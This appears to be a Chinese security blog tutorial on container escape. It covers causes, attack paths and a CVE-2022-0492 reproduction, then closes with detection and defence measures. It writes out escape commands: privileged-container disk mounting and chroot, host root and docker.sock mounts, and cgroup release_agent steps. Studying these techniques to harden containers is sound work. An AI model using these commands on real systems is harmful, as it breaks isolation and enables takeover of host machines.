一、容器逃逸的定义与危害
1.1 什么是容器逃逸?
容器逃逸(Container Escape)是指攻击者突破容器隔离边界,获取宿主机操作系统权限的过程。这违背了容器设计的核心安全假设,可能引发:
- 横向移动攻击
- 敏感数据泄露
- 宿主机资源劫持
- 持久化后门植入
1.2 逃逸发生的根本原因
graph TD
A[容器共享内核] --> B(内核漏洞利用)
C[配置不当] --> D(特权容器/危险挂载)
E[软件缺陷] --> F(RunC/CVE-2019-5736)
二、常见容器逃逸攻击路径
2.1 特权容器攻击
1 2 3 4 5 6
| docker run -it --privileged ubuntu /bin/bash
mount /dev/sda1 /mnt chroot /mnt
|
2.2 危险挂载逃逸
1 2 3 4
| volumes: - "/:/host" - "/var/run/docker.sock:/var/run/docker.sock"
|
2.3 内核漏洞利用
- DirtyCow (CVE-2016-5195):通过竞态条件提权
- CVE-2022-0492:cgroups release_agent逃逸
2.4 容器组件漏洞
- RunC漏洞 (CVE-2019-5736):覆盖宿主机二进制文件
- Containerd漏洞 (CVE-2021-41103):镜像挂载路径遍历
三、实战演示:CVE-2022-0492逃逸复现
3.1 环境准备
1 2 3 4 5
| docker run --rm -it --cap-add=SYS_ADMIN ubuntu:20.04
apt update && apt install -y cgroup-tools
|
3.2 漏洞利用步骤
1 2 3 4 5 6 7 8
| mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo "/host/exploit.sh" > /tmp/cgrp/release_agent
echo $$ > /tmp/cgrp/cgroup.procs
|
3.3 结果验证
1 2 3
|
touch /host/tmp/escape_success
|
四、检测与防御策略
4.1 安全基线检查
1 2
| docker run --rm --pid=host aquasec/kube-bench:latest
|
4.2 防御措施矩阵
攻击类型 |
防御方案 |
特权容器 |
禁用–privileged,使用AppArmor |
危险挂载 |
限制volume路径,启用readOnly |
内核漏洞 |
定期升级内核,使用gVisor沙箱 |
组件漏洞 |
及时更新容器运行时版本 |
4.3 安全配置示例
1 2 3 4
| FROM alpine:3.15 USER nobody COPY --chown=nobody:nobody app /app
|
五、工具与资源推荐
5.1 渗透测试工具
5.2 防御工具
5.3 学习资源
结语
容器逃逸是云原生安全的重要战场,防御需要从开发、部署到监控的全生命周期防护。建议企业建立以下防护体系:
- 镜像安全扫描流水线
- 运行时行为监控系统
- 定期红蓝对抗演练
- 最小化权限原则执行
安全是持续的过程,而非一劳永逸的状态!